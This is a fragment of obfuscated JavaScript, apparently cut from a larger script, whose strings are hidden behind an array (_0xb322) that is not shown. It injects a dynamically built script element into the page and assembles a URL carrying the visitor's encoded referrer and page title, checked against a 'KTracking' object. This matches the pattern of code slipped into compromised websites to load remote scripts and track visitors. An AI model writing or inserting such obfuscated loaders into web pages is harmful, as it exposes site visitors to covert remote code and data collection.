window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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